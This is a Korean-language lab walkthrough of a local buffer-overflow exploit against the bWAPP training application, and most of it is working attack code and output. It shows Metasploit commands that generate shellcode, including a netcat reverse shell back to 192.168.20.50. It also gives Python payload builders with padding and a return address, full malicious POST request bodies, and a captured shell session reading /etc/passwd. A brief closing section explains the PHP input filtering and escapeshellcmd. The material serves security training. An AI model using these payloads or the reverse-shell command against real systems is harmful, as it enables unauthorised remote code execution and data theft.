웹 해킹 bWAPP - 102. A9 - Using Known Vulnerable Components - Buffer Overflow(Local)

웹 해킹 bWAPP - 102. A9 - Using Known Vulnerable Components - Buffer Overflow(Local)

 

 

본 내용은 교육 과정에서 필요한 실습 목적으로 구성된 것이며, 혹시라도 개인적인 용도 및 악의적인 목적으로 사용할 경우, 법적 책임은 본인에게 있다는 것을 알려드립니다. 

 

 

1. Using Known Vulnerable Components

 

 - OWASP Top10 A9 - 알려진 취약점이 있는 구성 요소 사용

 - 슈퍼유저 권한으로 운영되는 취약한 라이브러리/프레임워크, 기타 SW 모듈로 인한 데이터 유실 및 서버 권한 획득이

   가능한 취약점이다.

 

 

 

2. BOF(Buffer Overflow) 관련 용어

 

 - Buffer : 시스템 연산작업에 필요한 데이터를 일시적으로 메모리 상에 저장하는 공간
 - Function : 어플리케이션 실행시 가능 먼저 실행되는 함수, 하나의 Function는 여러 개의 Function을 호출해서 사용 가능
 - Return 주소 : 실행 중인 Function이 종료되면 다른 Function을 실행할 수 있도록 참조하는 주소
 - Stack 영역 : Function 수행과 Return 주소 정보를 관리하는 로컬 저장소

 

 

버퍼 오버플로우

 

 

 

3. Buffer Overflow(Local)

 

 - Function 수행 중 버퍼의 양보다 입력값이 클 경우, 기존의 리턴 값이 덮어쓰기가 되기 때문에 어플리케이션이

   중지되거나, 엉뚱한 리턴값을 참조하여 다른 위치로 이동해버린다.

 

 - 그렇기 때문에 공격자는 임의의 위치에 공격 코드 값을 삽입하고, 리턴 주소 값에 공격 코드값이 있는 주소를

   삽입하여 오버플로우를 발생시켜 악의적인 코드가 실행되는 취약점이 발생한다.

 

 

 

4. Using Known Vulnerable Components - Buffer Overflow(Local)

 

 - 이 시나리오는 bWAPP 로컬에서 BoF를 발생시켜 특정 명령을 실행하거나, 리버스 쉘을 획득하는 내용이다.

 

 

  

Ex1) Using Known Vulnerable Components - Buffer Overflow(Local) 이해 I

 

 - BoF를 이용하여 bWAPP에 특정 명령어 실행

 

 

보안 레벨 선택 및 시나리오 선택

 

 

 

버퍼가 354개가 초과되면, 리턴 주소(\x8f\x92\x04\x08)에 의해서 [payload]가 실행된다는 힌트 확인

 

 

 

BoF에 사용할 프로그램 검색

 

bee@bee-box:/var/www/bWAPP$ vi bof_1.php

~ 중간 생략 ~      if(isset($_POST["title"]))     {         $title = $_POST["title"];         $title = commandi($title);         if($title == "")         {             echo "<p><font color=\"red\">Please enter a title...</font></p>";         }         else         {             echo shell_exec("./apps/movie_search " . $title);   :q!

 

 

 

BoF에 사용될 프로그램

bee@bee-box:/var/www/bWAPP$ ls -l apps/movie_search -rwxrwxr-x 1 root www-data 55719 2014-11-02 23:52 apps/movie_search

 

 

메타스플로잇을 이용하여 BoF Payload 생성

root@kali:~# msfconsole -q   msf > use linux/x86/exec msf payload(linux/x86/exec) > set cmd cat /etc/passwd cmd => /etc/passwd msf payload(linux/x86/exec) > generate -b '\x00' -e x86/opt_sub -t raw -f local_bof-1.txt [*] Writing 221 bytes to local_bof-1.txt... msf payload(linux/x86/exec) > quit root@kali:~# root@kali:~# ls -l local_bof-1.txt -rw-r--r-- 1 root root 237  2월 27 17:43 local_bof-1.txt root@kali:~#

 

 

 

102-0. local_bof-1 ASCII 16진수 변환 명령어.txt

Payload ACSII 16진수 변환 실시

root@kali:~# { echo -n \'; cat local_bof-1.txt; echo -n \'; } | perl -pe's/(.)/sprintf("%%%02X", ord($1))/seg'   %27%54%58%2D%DD%FC%FD%FD%2D%01%01%01%01%2D%01%01%01%01%50%5C %25%01%01%01%01%25%02%02%02%02%2D%75%1C%30%7D%2D%01%01%01%01%2D %01%01%01%01%50%2D%23%DF%74%2B%2D%01%01%01%01%2D%01%01%01%01%50%2D%01%8B %E1%D9%2D%01%01%01%01%2D%01%01%01%01%50%2D%EB%0D%42%05%2D%01%01%01%01%2D %01%01%01%01%50%2D%FE%40%FE%08%2D%01%01%01%01%2D%01%01%01%01%50%2D%72%1E%CA %01%2D%01%01%01%01%2D%01%01%01%01%50%2D%AC%15%50%5F%2D%01%01%01%01%2D %01%01%01%01%50%2D%E7%77%85%1A%2D%01%01%01%01%2D%01%01%01%01%50%2D %67%04%58%7F%2D%01%01%01%01%2D%01%01%01%01%50%2D%96%36%BA%F7%2D %01%01%01%01%2D%01%01%01%01%50%2D%39%CA%E7%7E%2D%01%01%01%01%2D %01%01%01%01%50%2D%92%0E%21%7D%2D%01%01%01%01%2D%01%01%01%01%50%2D %07%E6%58%0E%2D%01%01%01%01%2D%01%01%01%01%50%27 root@kali:~#

 

 

 

102-1. 'local_bof-1.py' 설정 내용.txt

Payload 배열을 위한 'local_bof-1.py' 파일 생성 

 

root@kali:~# vi local-bof-1.py

A354 = '%41' * 354 ret = '%8f%92%04%08' shellcode = '%27%54%58%2D%DD%FC%FD%FD%2D%01%01%01%01%2D%01%01%01%01%50%5C %25%01%01%01%01%25%02%02%02%02%2D%75%1C%30%7D%2D%01%01%01%01%2D %01%01%01%01%50%2D%23%DF%74%2B%2D%01%01%01%01%2D%01%01%01%01%50%2D%01%8B %E1%D9%2D%01%01%01%01%2D%01%01%01%01%50%2D%EB%0D%42%05%2D%01%01%01%01%2D %01%01%01%01%50%2D%FE%40%FE%08%2D%01%01%01%01%2D%01%01%01%01%50%2D%72%1E%CA %01%2D%01%01%01%01%2D%01%01%01%01%50%2D%AC%15%50%5F%2D%01%01%01%01%2D %01%01%01%01%50%2D%E7%77%85%1A%2D%01%01%01%01%2D%01%01%01%01%50%2D %67%04%58%7F%2D%01%01%01%01%2D%01%01%01%01%50%2D%96%36%BA%F7%2D %01%01%01%01%2D%01%01%01%01%50%2D%39%CA%E7%7E%2D%01%01%01%01%2D %01%01%01%01%50%2D%92%0E%21%7D%2D%01%01%01%01%2D%01%01%01%01%50%2D %07%E6%58%0E%2D%01%01%01%01%2D%01%01%01%01%50%27'   payload = shellcode[:3] + A354 + ret + shellcode[3:]     // payload에 shellcode 앞에서 3글자(%27), A354(%41 * 354), ret(%8f%92%04%08),      shellcode 3번째 글자 이후부터 배열하는 내용    // %27 - '(작은 따옴표)  // %41 - A     print payload   :wq!

 

 

 

[참고] ASCII 코드 확인 사이트

 

https://www.ascii.cl/htmlcodes.htm

 

 

'local_bof-1.py' 파일 실행 -> Payload 내용 메모장에 복사 실시

root@kali:~# python local_bof-1.py %27%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%8f%92%04%08%54%58%2D%DD%FC%FD%FD%2D%01%01%01%01%2D%01%01%01%01%50%5C%25%01%01%01%01%25%02%02%02%02%2D%75%1C%30%7D%2D%01%01%01%01%2D%01%01%01%01%50%2D%23%DF%74%2B%2D%01%01%01%01%2D%01%01%01%01%50%2D%01%8B%E1%D9%2D%01%01%01%01%2D%01%01%01%01%50%2D%EB%0D %42%05%2D%01%01%01%01%2D%01%01%01%01%50%2D%FE%40%FE%08%2D%01%01%01%01%2D %01%01%01%01%50%2D%72%1E%CA%01%2D%01%01%01%01%2D%01%01%01%01%50%2D%AC %15%50%5F%2D%01%01%01%01%2D%01%01%01%01%50%2D%E7%77%85%1A%2D%01%01%01%01%2D %01%01%01%01%50%2D%67%04%58%7F%2D%01%01%01%01%2D%01%01%01%01%50%2D%96%36%BA %F7%2D%01%01%01%01%2D%01%01%01%01%50%2D%39%CA%E7%7E%2D%01%01%01%01%2D %01%01%01%01%50%2D%92%0E%21%7D%2D%01%01%01%01%2D%01%01%01%01%50%2D %07%E6%58%0E%2D%01%01%01%01%2D%01%01%01%01%50%27   root@kali:~#

 

 

 

Intercept -> 'Intercept is on' 으로 변경 실시

 

 

 

'1234' 입력 -> 'Search' 버튼 클릭

 

 

 

버프슈트 Intercept 내용 확인

 

 

 

102-2. local_bof-1 Payload-1.txt

Body 내용을 local_bof-1 Payload 내용으로 변경 실시 

POST /bWAPP/bof_1.php HTTP/1.1 Host: 192.168.20.205 User-Agent: Mozilla/5.0 (Linux; Android 7.0; PLUS Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.20.205/bWAPP/bof_1.php Cookie: PHPSESSID=a9031772c9aab77db958615a7874747d; security_level=0 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 24   title=1234&action=search  <- 기존 내용   title=%27%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%8f%92%04%08%54%58%2D%DD%FC%FD%FD%2D%01%01%01%01%2D%01%01%01%01%50%5C%25%01%01%01%01%25%02%02%02%02%2D%75%1C%30%7D%2D%01%01%01%01%2D%01%01%01%01%50%2D%23%DF%74%2B%2D%01%01%01%01%2D%01%01%01%01%50%2D%01%8B%E1%D9%2D%01%01%01%01%2D%01%01%01%01%50%2D%EB%0D%42%05%2D%01%01%01%01%2D%01%01%01%01%50%2D%FE%40%FE%08%2D%01%01%01%01%2D %01%01%01%01%50%2D%72%1E%CA%01%2D%01%01%01%01%2D%01%01%01%01%50%2D%AC %15%50%5F%2D%01%01%01%01%2D%01%01%01%01%50%2D%E7%77%85%1A%2D%01%01%01%01%2D %01%01%01%01%50%2D%67%04%58%7F%2D%01%01%01%01%2D%01%01%01%01%50%2D%96%36%BA %F7%2D%01%01%01%01%2D%01%01%01%01%50%2D%39%CA%E7%7E%2D%01%01%01%01%2D %01%01%01%01%50%2D%92%0E%21%7D%2D%01%01%01%01%2D%01%01%01%01%50%2D %07%E6%58%0E%2D%01%01%01%01%2D%01%01%01%01%50%27&action=search   <- 변경 내용

 

 

 

Body 변경 내용 확인 -> 'Forward' 버튼 클릭

 

 

 

'Forward' 버튼 클릭

 

 

 

'Intercept is on'를 클릭하여 off 실시

 

 

 

BoF 취약점으로 인한 'cat /etc/passwd' 내용 출력 확인

 

 

 

 

 

Ex2) Using Known Vulnerable Components - Buffer Overflow(Local) 이해 II

 

 - BoF를 이용하여 Reverse Shell 실행

 

 

메타스플로잇을 이용하여 BoF Payload 생성

root@kali:~# msfconsole -q   msf > use linux/x86/exec msf payload(linux/x86/exec) > set cmd nc -e /bin/bash 192.168.20.50 4444 cmd => nc -e /bin/bash 192.168.20.50 4444 msf payload(linux/x86/exec) > generate -b '\x00' -e x86/opt_sub -t raw -f local_bof-2.txt [*] Writing 221 bytes to local_bof-2.txt... msf payload(linux/x86/exec) > quit root@kali:~# root@kali:~# ls -l local_bof-2.txt -rw-r--r-- 1 root root 237  2월 27 17:43 local_bof-2.txt root@kali:~#

 

 

 

102-3. local_bof-2 ASCII 16진수 변환 명령어.txt

Payload ACSII 16진수 변환 실시

root@kali:~# { echo -n \'; cat local_bof-2.txt; echo -n \'; } | perl -pe's/(.)/sprintf("%%%02X", ord($1))/seg'   %27%54%58%2D%79%FC%FD%FD%2D%01%01%01%01%2D%01%01%01%01%50%5C%25%01%01%01%01%25%02%02%02%02%2D%75%1C%30%7D%2D%01%01%01%01%2D%01%01%01%01%50%2D%53%DF%74%2B%2D%01%01%01%01%2D%01%01%01%01%50%2D%12%CA%20%1D%2D%01%01%01%01%2D%01%01%01%01%50%2D%EE%03%FD%01%2D%01%01%01%01%2D%01%01%01%01%50%2D%F8%F3%04%FC%2D%01%01%01%01%2D%01%01%01%01%50%2D%FB%03%FE%FE%2D%01%01%01%01%2D%01%01%01%01%50%2D%C4%C7%0B%FE%2D%01%01%01%01%2D%01%01%01%01%50%2D%03%37%BC%CD%2D%01%01%01%01%2D%01%01%01%01%50%2D%4C%FE%FD%F5%2D%01%01%01%01%2D%01%01%01%01%50%2D%BB%0C%33%02%2D%01%01%01%01%2D%01%01%01%01%50%2D%61%1E%2B%F5%2D%01%01%01%01%2D%01%01%01%01%50%2D%1B%AB%15%48%2D%01%01%01%01%2D%01%01%01%01%50%2D%7F%E7%77%98%2D%01%01%01%01%2D%01%01%01%01%50%2D%F8%66%04%58%2D%01%01%01%01%2D%01%01%01%01%50%2D%7F%95%36%BA%2D%01%01%01%01%2D%01%01%01%01%50%2D%7D%39%CA%E7%2D%01%01%01%01%2D%01%01%01%01%50%2D%0E%92%0E%21%2D%01%01%01%01%2D%01%01%01%01%50%2D%C6%06%E6%58%2D%01%01%01%01%2D%01%01%01%01%50%27   root@kali:~#

 

 

 

102-4. 'local_bof-2.py' 설정 내용.txt

Payload 배열을 위한 'local_bof-2.py' 파일 생성 

 

root@kali:~# vi local-bof-2.py

A354 = '%41' * 354 ret = '%8f%92%04%08' shellcode = '%27%54%58%2D%79%FC%FD%FD%2D%01%01%01%01%2D%01%01%01%01%50%5C%25%01%01%01%01%25%02%02%02%02%2D%75%1C%30%7D%2D%01%01%01%01%2D%01%01%01%01%50%2D%53%DF%74%2B%2D%01%01%01%01%2D%01%01%01%01%50%2D%12%CA%20%1D%2D%01%01%01%01%2D%01%01%01%01%50%2D%EE%03%FD%01%2D%01%01%01%01%2D%01%01%01%01%50%2D%F8%F3%04%FC%2D%01%01%01%01%2D%01%01%01%01%50%2D%FB%03%FE%FE%2D%01%01%01%01%2D%01%01%01%01%50%2D%C4%C7%0B%FE%2D%01%01%01%01%2D%01%01%01%01%50%2D%03%37%BC%CD%2D%01%01%01%01%2D%01%01%01%01%50%2D%4C%FE%FD%F5%2D%01%01%01%01%2D%01%01%01%01%50%2D%BB%0C%33%02%2D%01%01%01%01%2D%01%01%01%01%50%2D%61%1E%2B%F5%2D%01%01%01%01%2D%01%01%01%01%50%2D%1B%AB%15%48%2D%01%01%01%01%2D%01%01%01%01%50%2D%7F%E7%77%98%2D%01%01%01%01%2D%01%01%01%01%50%2D%F8%66%04%58%2D%01%01%01%01%2D%01%01%01%01%50%2D%7F%95%36%BA%2D%01%01%01%01%2D%01%01%01%01%50%2D%7D%39%CA%E7%2D%01%01%01%01%2D%01%01%01%01%50%2D%0E%92%0E%21%2D%01%01%01%01%2D%01%01%01%01%50%2D%C6%06%E6%58%2D%01%01%01%01%2D%01%01%01%01%50%27'   payload = shellcode[:3] + A354 + ret + shellcode[3:]     // payload에 shellcode 앞에서 3글자(%27), A354(%41 * 354), ret(%8f%92%04%08),      shellcode 3번째 글자 이후부터 배열하는 내용    // %27 - '(작은 따옴표)  // %41 - A     print payload   :wq!

 

 

 

'local_bof-2.py' 파일 실행 -> Payload 내용 메모장에 복사 실시

root@kali:~# python local_bof-2.py %27%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%8f%92%04%08%54%58%2D%79%FC%FD%FD%2D%01%01%01%01%2D%01%01%01%01%50%5C%25%01%01%01%01%25%02%02%02%02%2D%75%1C%30%7D%2D%01%01%01%01%2D%01%01%01%01%50%2D%53%DF%74%2B%2D%01%01%01%01%2D%01%01%01%01%50%2D%12%CA%20%1D%2D%01%01%01%01%2D%01%01%01%01%50%2D%EE%03%FD%01%2D%01%01%01%01%2D%01%01%01%01%50%2D%F8%F3%04%FC%2D%01%01%01%01%2D%01%01%01%01%50%2D%FB%03%FE%FE%2D%01%01%01%01%2D%01%01%01%01%50%2D%C4%C7%0B%FE%2D%01%01%01%01%2D%01%01%01%01%50%2D%03%37%BC%CD%2D%01%01%01%01%2D%01%01%01%01%50%2D%4C%FE%FD%F5%2D%01%01%01%01%2D%01%01%01%01%50%2D%BB%0C%33%02%2D%01%01%01%01%2D%01%01%01%01%50%2D%61%1E%2B%F5%2D%01%01%01%01%2D%01%01%01%01%50%2D%1B%AB%15%48%2D%01%01%01%01%2D%01%01%01%01%50%2D%7F%E7%77%98%2D%01%01%01%01%2D%01%01%01%01%50%2D%F8%66%04%58%2D%01%01%01%01%2D%01%01%01%01%50%2D%7F%95%36%BA%2D%01%01%01%01%2D%01%01%01%01%50%2D%7D%39%CA%E7%2D%01%01%01%01%2D%01%01%01%01%50%2D%0E%92%0E%21%2D%01%01%01%01%2D%01%01%01%01%50%2D%C6%06%E6%58%2D%01%01%01%01%2D%01%01%01%01%50%27   root@kali:~#

 

 

 

칼리에서 리버스 쉘 Listen 상태 실시

root@kali:~#  nc -n -v -l -p 4444 listening on [any] 4444 ...

 

 

 

보안 레벨 선택 및 시나리오 선택

 

 

 

Intercept -> 'Intercept is on' 으로 변경 실시

 

 

'1234' 입력 -> 'Search' 버튼 클릭

 

 

 

버프슈트 Intercept 내용 확인

 

 

 

102-5. local_bof-2 Payload.txt

Body 내용을 local_bof-2 Payload 내용으로 변경 실시 

POST /bWAPP/bof_1.php HTTP/1.1 Host: 192.168.20.205 User-Agent: Mozilla/5.0 (Linux; Android 7.0; PLUS Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.20.205/bWAPP/bof_1.php Cookie: PHPSESSID=a9031772c9aab77db958615a7874747d; security_level=0 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 24   title=1234&action=search  <- 기존 내용   title=%27%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%8f%92%04%08%54%58%2D%79%FC%FD%FD%2D%01%01%01%01%2D%01%01%01%01%50%5C%25%01%01%01%01%25%02%02%02%02%2D%75%1C%30%7D%2D%01%01%01%01%2D%01%01%01%01%50%2D%53%DF%74%2B%2D%01%01%01%01%2D%01%01%01%01%50%2D%12%CA%20%1D%2D%01%01%01%01%2D%01%01%01%01%50%2D%EE%03%FD%01%2D%01%01%01%01%2D%01%01%01%01%50%2D%F8%F3%04%FC%2D%01%01%01%01%2D%01%01%01%01%50%2D%FB%03%FE%FE%2D%01%01%01%01%2D%01%01%01%01%50%2D%C4%C7%0B%FE%2D%01%01%01%01%2D%01%01%01%01%50%2D%03%37%BC%CD%2D%01%01%01%01%2D%01%01%01%01%50%2D%4C%FE%FDF5%2D%01%01%01%01%2D%01%01%01%01%50%2D%BB%0C%33%02%2D%01%01%01%01%2D%01%01%01%01%50%2D%61%1E%2B%F5%2D%01%01%01%01%2D%01%01%01%01%50%2D%1B%AB%15%48%2D%01%01%01%01%2D%01%01%01%01%50%2D%7F%E7%77%98%2D%01%01%01%01%2D%01%01%01%01%50%2D%F8%66%04%58%2D%01%01%01%01%2D%01%01%01%01%50%2D%7F%95%36%BA%2D%01%01%01%01%2D%01%01%01%01%50%2D%7D%39%CA%E7%2D%01%01%01%01%2D %01%01%01%01%50%2D%0E%92%0E%21%2D%01%01%01%01%2D%01%01%01%01%50%2D%C6%06%E6%58%2D%01%01%01%01%2D%01%01%01%01%50%27&action=search   <- 변경 내용

 

 

 

Body 변경 내용 확인 -> 'Forward' 버튼 클릭

 

 

 

'Forward' 버튼 클릭

 

 

 

'Intercept is on'를 클릭하여 off 실시

 

 

 

'Intercept is off' 확인

 

 

 

칼리에서 리버스 쉘 연결 상태 확인

root@kali:~# nc -n -v -l -p 4444 listening on [any] 4444 ... connect to [192.168.20.50] from (UNKNOWN) [192.168.20.205] 55664   whoami www-data   pwd /var/www/bWAPP   python -c 'import pty;pty.spawn("/bin/bash")' www-data@bee-box:/var/www/bWAPP$ www-data@bee-box:/var/www/bWAPP$ cat /etc/passwd cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh ~ 중간 생략   www-data@bee-box:/var/www/bWAPP$ (Ctrl+c) root@kali:~#

 

 

 

 

Ex3) 'bof_1.php' & 'functions_external.php' 파일 내용 확인

 

bee@bee-box:/var/www/bWAPP$ ls -l bof_1.php
-rw-rw-r-- 1 root www-data 5907 2014-11-02 23:52 bof_1.php

bee@bee-box:/var/www/bWAPP$ vi bof_1.php

~ 중간 생략 ~   :q! include("functions_external.php");   function commandi($data) {       switch($_COOKIE["security_level"])     {           case "0" :               $data = commandi_check_3($data);             break;           case "1" :               $data = commandi_check_2($data);             break;           case "2" :               $data = commandi_check_2($data);             break;           default :               $data = commandi_check_3($data);             break;       }       return $data; }   ?>   :q!

 

 

bee@bee-box:/var/www/bWAPP$ gedit functions_external.php

~ 중간 생략 ~   function commandi_check_2($data) {        return escapeshellcmd($data);     }   function commandi_check_3($data) {         $input = str_replace("&", "", $data);     $input = str_replace(";", "", $input);     $input = str_replace("|", "", $input);         return $input;     }

 

[참고] 'escapeshellcmd'

 

 - 인자로 받은 명령어가 실행되었을 때, 의도하지 않았던 쉘 명령어가 실행되는 것을 방지
 - Ex) 메타케릭터에 역슬레시(\)를 붙여 명령어를 실행하지 못하게 함

 - 참고 사이트 : http://php.net/manual/kr/function.escapeshellcmd.php

 

 

 

 

Ex4) 보안 레벨 'High' 변경

 

 

보안 레벨 및 시나리오 선택

 

 

 

102-6. local_bof-1 Payload.txt

BoF 취약점 발생 않함

 

 

[유튜브] 동영상 강의 링크 (구독! 좋아요!!!)

 

웹해킹 102. A9 - bWAPP Using Known Vulnerable Components - Buffer Overflow(Local)

https://youtu.be/Di1Fl23AIMY